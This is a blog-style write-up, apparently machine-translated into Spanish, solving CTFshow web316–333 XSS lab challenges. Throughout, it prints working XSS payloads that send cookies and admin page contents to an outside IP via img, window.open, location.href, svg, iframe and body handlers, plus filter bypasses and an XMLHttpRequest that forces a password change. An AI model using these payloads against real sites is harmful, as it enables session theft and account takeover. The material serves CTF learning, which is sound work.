CTFshow-WEB Primeros pasos-XSS

Prefacio

Como no sé mucho sobre javascript, siempre he tenido pocos conocimientos sobre xss y no soy muy bueno en eso. Esta vez haré un tema sobre xss y aprenderé sobre xss.

web316

Feliz Navidad, escribe tus saludos, genera un enlace, envíalo a tus amigos, ¡y podrás recibir diez huevos!

Esto significa que si desea generar un enlace, aún debe obtener el asunto de la cookie del administrador.Los maestros dicen que se hace clic automáticamente en el bot del asunto a intervalos regulares.
Puede usar la plataforma xss: Plataforma
XSS Usaré
mis propios vps en el futuro.

Primero pruébelo <script>alert(1)</script>, la ventana emergente es exitosa, la primera pregunta debería ser que no hay filtrado, así que simplemente presione la cookie.

Recoge las poses disponibles, la primera es img:

<script>
var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;
</script>

Si crea la etiqueta img directamente, por ejemplo, esto <img src="http://xxx.xxx.xxx.xxx:39543/"+document.cookie />no funcionará, el document.cookie no se reconoce aquí y una capa <script></script>no funcionará. Parece que si desea crear una imagen en el script, solo puedes hacer esto, y todavía no sabes js, que es demasiado delicioso.

Sin embargo, existen otras posturas para sacar, como window.open:

<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>

Además, también puede ser así

<script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script>

También es posible agregar ninguna ventana:

<script>location.href='http://118.31.168.198:39543/'+document.cookie</script>

Además, la entrada también es posible, pero es necesario agregar el enfoque automático. :

<input onfocus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus>

Ejecute su propio evento de enfoque a través del atributo de enfoque automático, este vector es para hacer que el enfoque salte automáticamente al elemento de entrada, active el evento de enfoque, sin que el usuario lo active

También hay etiquetas svg.

<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

También hay etiquetas de iframe:

<iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>

También está la etiqueta del cuerpo:

<body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

El vps normal requiere nc, pero nc parece no poder recibir continuamente, pero en realidad hay muchas formas de repetir nc, o puedo seleccionar temporalmente un servidor temporal de python y recibir los parámetros de obtención:

python3 -m http.server 39543

Inserte la descripción de la imagen aquí

web317

Parece que el script está filtrado y se pueden utilizar muchos de los métodos anteriores.

web318

Después de filtrar el img, se pueden utilizar muchos de los métodos anteriores.

web319

Lo mismo que arriba

web320

Después de filtrar los espacios, use la TAB obtenida al decodificar la URL de% 09 para filtrar.

<iframe	onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>

web321

Lo mismo que arriba

web322

El iframe está filtrado, pero aún se puede usar svg, use svg:

<svg	onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

El cuerpo también puede:

<body	onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

Además, el filtro XSS para verificar y encontró que el filtro en realidad los espacios regulares alrededor de la ley deben tomar /círculos:

<body/onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

web323

Lo mismo que arriba

web324

Lo mismo que arriba

web325

Lo mismo que arriba

web326

Lo mismo que arriba

web327

XSS almacenado. La primera es que el póster debe ser un administrador para que se envíe correctamente, y la segunda es que el punto de activación de XSS debe ser el remitente y el contenido. Simplemente use la carga útil de la plataforma xss.

web328

A simple vista, la lógica probablemente es registrar el nombre de usuario y la contraseña, y luego debe almacenarse en la base de datos, y luego hay una página de administración de usuarios, solo el administrador puede ver, y esta página repetirá el nombre de usuario y contraseña en la base de datos, muy Es fácil adivinar que la bandera también debería estar aquí, así que sigo tomando la cookie de administrador, que es un XSS de almacenamiento más obvio. Simplemente use la plataforma xss o la carga útil más simple:

<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>

web329

De la misma manera, recibí la cookie, pero esta pregunta ya no funciona, lo que indica que la cookie del administrador no se puede iniciar sesión correctamente. El maestro y4 dijo que después de configurar la cookie y enviársela, se invalidará, por lo que es imposible iniciar sesión como administrador. Pero puedo pensar en leer el contenido de esa página, pero no sé cómo leerlo. . Lo revisé en Internet y descubrí que hay varios métodos, en primer lugar:

<script>window.open('http://118.31.168.198:39543/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

También existe la diferencia entre innerHTML y outerHTML
1) innerHTML:
  todo el contenido desde la posición inicial hasta la posición final del objeto, excluyendo las etiquetas Html.
2) outerHTML:
  además de todo el contenido de innerHTML, también contiene la etiqueta del objeto en sí.

Además, existe Master Y4 así:

var img = new Image();
img.src = "http://your-domain/cookie.php?cookie="+document.querySelector('#top > div.layui-container > div    :nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;//问了师傅才知道这个标签是可以通过浏览器找到的,ttttqqqqll
document.body.append(img);

Estaba escrito en mi vps.

web330

Se descubrió que la función de cambiar la contraseña se había agregado recientemente, y él estaba inexplicablemente atento. Pero de acuerdo con la lectura anterior, encontré que lo que leí era una mierda. Pensé que era javascript el que le permitía al administrador acceder a la página donde se cambió la contraseña para modificar la contraseña del administrador, pero parecía que no lo logré. A regañadientes, echó un vistazo al método del Maestro Yq1ng, similar a esto:

<script>window.open('http://118.31.168.198:39543/'+document.querySelector('#top > div.layui-container').textContent)</script>

El motivo es que la contraseña del administrador se encuentra en otra ubicación de esta página, por lo que el contenido de la tabla no se puede encontrar según la búsqueda anterior. Debo decir que querySelector todavía es fácil de usar, tal vez porque no sé javascript, tengo una comprensión muy superficial de getElementsByClassName, como este

<script>window.open('http://118.31.168.198:39543/'+document.getElementsByClassName('layui-container')[0].outerHTML)</script>

¿Parece que no puede buscar de forma recursiva? Por lo tanto, no se siente tan fácil de usar como querySelector.

Pero esto es realmente inesperado. La expectativa de esta pregunta debería ser modificar la contraseña del administrador, pero parece que esto no es bueno para mí:

<script>window.open('http://e9dc0314-afc3-48a2-9578-ef76191ce6bb.chall.ctf.show:8080/api/change.php?p=1234567')</script>

Pero descubrí que esto está bien:

<script>window.open('http://127.0.0.1/api/change.php?p=1234567')</script>

web331

Esta pregunta cambió la contraseña a una solicitud de publicación. Definitivamente no trabajaré con window.open aquí. Revisé cómo javascript envía solicitudes Http y descubrí que hay muchas formas de usar XMLHttpRequest.

El prototipo es así:

var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象
httpRequest.open('POST', 'url', true); //第二步:打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)
httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中
/**
 * 获取数据后的处理程序
 */
httpRequest.onreadystatechange = function () {
    
    //请求后的回调接口,可将请求成功后要执行的程序写在其中
    if (httpRequest.readyState == 4 && httpRequest.status == 200) {
    
    //验证请求是否发送成功
        var json = httpRequest.responseText;//获取到服务端返回的数据
        console.log(json);
    }
};

No es necesario que se ocupe del procesamiento después de obtener los datos, solo envíe la solicitud directamente.

<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=1234567');</script>

web332

Después del registro normal, se descubre que la cuenta no se puede transferir, lo que indica que hay un fantasma y la transacción se detiene. está cableado. Luego registró xss: en el nombre de usuario
<script>alert(1)</script>, y
luego fue a transferir, y descubrió que podía transferir. .
Probé las lagunas lógicas, transfiera dinero negativo de la transferencia:
Inserte la descripción de la imagen aquí

Inserte la descripción de la imagen aquí
Puedes conseguir la bandera.

web333

Si no puede transferirlo a otras personas, transfiéralo a usted mismo:
Inserte la descripción de la imagen aquí

Éxito, y la cantidad aumentará, simplemente inicie una ejecución de pb.

Supongo que te gusta

Origin blog.csdn.net/rfrder/article/details/114079028
Recomendado
Clasificación